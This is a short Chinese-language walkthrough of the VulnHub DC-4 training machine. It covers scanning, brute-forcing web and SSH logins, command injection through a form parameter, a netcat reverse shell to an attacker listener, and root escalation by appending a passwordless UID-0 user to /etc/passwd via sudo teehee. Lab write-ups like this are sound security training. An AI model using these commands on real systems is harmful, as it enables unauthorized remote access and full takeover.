渗透测试学习之DC-4

该文章为本人学习DC-4靶机记录

首先部署靶机：下载地址 DC: 4 ~ VulnHub

步骤为直接下载解压，本文直接省略跳过：

主机发现以及信息搜集

nmap -sS 192.168.88.0/24

 

扫描具体信息

nmap -A -v 192.168.88.137

访问80端口的网站

可以看出该网站的账号大概率为Admin或者admin

尝试使用burpsuite爆破一下

然后设置好字典

 

开始爆破，将结果排序一下，可以看出账号为admin，密码happy

登录网站

 

点击command

 

 

看一下bp抓到的包，可以发现可以修改radio的参数来改变命令

首先看看flag，去home目录

似乎不可以直接去，尝试一下getshell

 

 

 

 尝试一下写入一句话木马脚本，似乎被过滤掉了

尝试直接使用shell反弹，我看剑很多人用加号代替空格，其实直接使用空格也可以

 payload：nc -nv 192.168.88.129 6666 -e /bin/bash

 

 使用交互式界面

python -c "import pty; pty.spawn('/bin/bash')"

 查看flag可以知道提示去home的目录看一下，可以看见jim有一个旧的密码本

 

 尝试ssh爆破

hydra -l jim -P pass2.txt ssh://192.168.88.137

爆出成功，使用ssh远程登陆一下，一登陆发现最后一句话 you have mail

ssh jim@192.168.88.137

去/var/mail查看jim的邮件

 切换到chales角色

 

 sudo -l 发现有teehee权限

 尝试网上大佬的teehee提权方式，在passwd文件里写入一个无密码的新用户

echo "jl::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

 然后就是和其他的靶机一样到root目录找flag